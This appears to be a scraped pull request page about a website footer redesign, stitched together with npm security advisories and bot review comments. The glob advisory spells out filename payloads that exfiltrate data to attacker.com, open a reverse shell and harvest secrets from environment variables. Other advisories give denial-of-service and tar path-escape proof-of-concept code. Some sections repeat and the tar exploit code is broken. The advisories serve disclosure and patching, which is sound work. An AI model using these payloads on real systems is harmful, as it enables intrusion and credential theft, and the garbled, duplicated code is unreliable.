[932] feat: add footer badge and update responsive layout #238

IhorMasechko · 2026-01-16T14:47:45Z

Add footer badge and improve responsive layout

Add "Proud Member of The Bureau" badge to footer
Restructure footer layout: badge centered on web, links on left/right
Update mobile ordering: Mission → Badge → Links → Copyright
Update mission text styling for better readability
Add proper spacing (20px) between footer links on mobile
Update font sizes and alignment for mobile/desktop breakpoints

Adds a "Proud Member of The Bureau" badge to the footer and restructures the layout for responsive behavior. On desktop the badge is centered with navigation links split left and right; mobile order is Mission → Badge → Links → Copyright. Adjusts mission and copy typography, spacings (20px between links on mobile), image sizing, and breakpoint alignments for improved readability.

Walkthrough

The footer component markup and SCSS were reworked: a new badge-centric layout replaces the legacy links container, splitting footer links into left and right groups and adding a badge image block. Responsive styles were added/adjusted (padding, margins, typography, alignment, ordering, and absolute positioning at medium breakpoints) and mobile-specific sizing/spacing were introduced. The footer HTML structure was reorganized to support the new layout and the copyright fallback year was updated to 2026.

EPSS Score	`0.172%`
EPSS Percentile	`39th percentile`

Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

can observe other values produced by Math.random in the target application, and

can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)

Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

node-forge 1.3.1 (npm)

CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.110%`
EPSS Percentile	`30th percentile`

Description

Summary

An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.

Details

An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.

Impact

This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.

This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2.

Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.

Description

Summary

CVE-2025-12816 has been reserved by CERT/CC

Description
An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

Details

A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.

This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).

Impact

This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.

This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2.
https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.

The following components in node-forge are impacted.
lib/asn1.js
lib/x509.js
lib/pkcs12.js
lib/pkcs7.js
lib/rsa.js
lib/pbe.js
lib/ed25519.js

Any downstream application using these components is impacted.

These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.

qs 6.13.0 (npm)

pkg:npm/qs@6.13.0

Improper Input Validation

Affected range	`<6.14.1`
Fixed version	`6.14.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.152%`
EPSS Percentile	`36th percentile`

Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)
Configuration:

arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)

Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)

Application parses with qs.parse(query, { arrayLimit: 100 })

qs ignores limit, parses all 100,000 elements into array

Server memory exhausted → application crashes or becomes unresponsive

Service unavailable for all users

Real-world impact:

Single malicious request can crash server

No authentication required

Easy to automate and scale

Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}
Fixed code:
if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

Description

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:

User runs glob -c <command> <pattern>

CLI finds files matching the pattern

Matched filenames are collected into an array

Command is executed with matched filenames as arguments using shell: true

Shell interprets metacharacters in filenames as command syntax

Malicious filenames execute arbitrary commands

Affected Component:

CLI Only: The vulnerability affects only the command-line interface

Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected

Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.

Any directory where attackers can control filenames (PR branches, archives, user uploads)

CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:

The echo command executes normally

Additionally: The $(touch injected_poc) in the filename is evaluated by the shell

A new file injected_poc is created, proving command execution

Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact

Arbitrary Command Execution:

Commands execute with full privileges of the user running glob CLI

No privilege escalation required - runs as current user

Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

Malicious PR adds files with crafted names to repository

CI pipeline uses glob -c to process files (linting, testing, deployment)

Commands execute in CI environment with build secrets and deployment credentials

Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

Developer clones repository or extracts archive containing malicious filenames

Local build scripts use glob -c for file processing

Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

Services using glob CLI to process uploaded files or external content

File uploads with malicious names trigger command execution

Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

Malicious packages or themes include files with crafted names

Build processes using glob CLI automatically process these files

Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing

Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL

Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

Ecosystem: npm

Package name: glob

Component: CLI only (src/bin.mts)

Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)

Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)

Patched versions: 11.1.0and 10.5.0

Scope Limitation:

Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe

CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.

If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.

As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Description

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')

const h1 = new tar.Header({

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',

})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings

  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {

      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

    }

})
Impact

Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.

Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

Description

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)
Configuration:

arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)

Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)

Application parses with qs.parse(query, { arrayLimit: 100 })

qs ignores limit, parses all 100,000 elements into array

Server memory exhausted → application crashes or becomes unresponsive

Service unavailable for all users

Real-world impact:

Single malicious request can crash server

No authentication required

Easy to automate and scale

Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}
Fixed code:
if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

Description

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Description

Overview

An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions.

Am I Affected?

You are affected by this vulnerability if you meet all of the following preconditions:

Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0

Application uses the jws.createVerify() function for HMAC algorithms

Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

You are NOT affected by this vulnerability if you meet any of the following preconditions:

Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability)

Application uses only asymmetric algorithms (e.g. RS256)

Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

Fix

Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}
Fixed code:
if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

In `@website/modules/asset/ui/src/scss/_footer.scss`:
- Around line 52-80: The badge is positioned absolute at breakpoint-medium
causing overlap because the row drops its bottom margin; inside the
.sf-footer__badge-row breakpoint-medium block add reserved vertical space (e.g.,
set a min-height or padding-bottom equal to the badge height, ~80px) so the
absolute .sf-footer__badge won’t cover .sf-footer__bottom, or alternatively stop
using position:absolute on .sf-footer__badge and keep it in the flow; update the
CSS in the .sf-footer__badge-row and/or .sf-footer__badge rules around the
breakpoint-medium include to implement the chosen fix.

Learning: In website/modules/asset/ui/src/scss/_vacancies.scss, the margin shorthand (e.g., `margin: 0 0 8px`) in `.sf-vacancies_footer h2` is intentionally used to reset all margins and set specific bottom margins, rather than using `margin-bottom` alone. This approach ensures clean baseline styling that doesn't inherit unwanted margins, while still allowing the sibling selector `.vacancy-card + .sf-vacancies_footer h2` to add top margins when a vacancy card precedes the footer.

Learning: In website/modules/asset/ui/src/scss/_cases.scss, the .cs_partnership element intentionally uses min-width: 430px as per specific task requirements, even though this may cause horizontal overflow on small mobile devices (320px-375px viewports). This is an intentional design decision.

Learning: In website/modules/asset/ui/src/scss/_not-found.scss, the .two-buttons container with flex-direction: row and child .sf-button elements having width: 100% does not cause overflow issues and renders correctly, despite theoretical expectations.
